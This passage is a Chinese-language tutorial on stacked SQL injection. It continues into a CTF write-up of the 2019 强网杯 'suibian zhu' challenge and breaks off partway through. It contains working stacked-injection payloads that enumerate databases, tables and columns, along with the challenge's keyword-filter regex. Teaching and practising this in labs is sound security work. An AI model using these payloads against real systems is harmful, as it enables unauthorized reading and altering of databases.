1. 堆叠注入漏洞原理与实战解析
堆叠注入(Stacked Injection)是SQL注入攻击中一种特殊的技术手段,它允许攻击者通过分号分隔执行多条SQL语句。与常规注入不同,堆叠注入的核心在于利用数据库支持多语句执行的特性,通过一次注入实现多个数据库操作。
1.1 堆叠注入与普通注入的区别
普通SQL注入通常只能修改原查询语句的逻辑(如通过UNION拼接查询),而堆叠注入可以:
- 执行任意DDL语句(CREATE/ALTER/DROP)
- 执行DML语句(INSERT/UPDATE/DELETE)
- 调用存储过程
- 修改数据库结构
注意:并非所有数据库和连接方式都支持堆叠注入。MySQL在PHP的mysqli_multi_query()函数下支持,但PDO默认禁用此功能。
1.2 堆叠注入的典型利用场景
当遇到以下情况时,堆叠注入尤为有效:
- 关键SQL关键字被过滤(如SELECT被过滤)
- 需要修改表结构获取数据
- UNION注入不可用(如无回显位)
- 需要执行复杂操作链
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. [强网杯 2019]随便注题目深度解析
2.1 环境探测与过滤分析
初始测试使用1'触发报错,确认存在字符型注入:
sql复制SELECT * FROM words WHERE id='1''
通过测试常见关键字,发现过滤规则:
php复制preg_match("/select|update|delete|drop|insert|where|\./i",$inject)
这意味着常规的SELECT查询和文件操作(如load_file)都被禁止。
2.2 方法一:表结构重构攻击
2.2.1 信息收集阶段
sql复制1';show databases;#
1';show tables;#
1';show columns from `1919810931114514`;#
1';show columns from words;#
关键发现:
- 存在两个表:words(默认查询表)和1919810931114514(含flag)
- words表结构:id(int), data(varchar)
- 1919810931114514表结构:fl
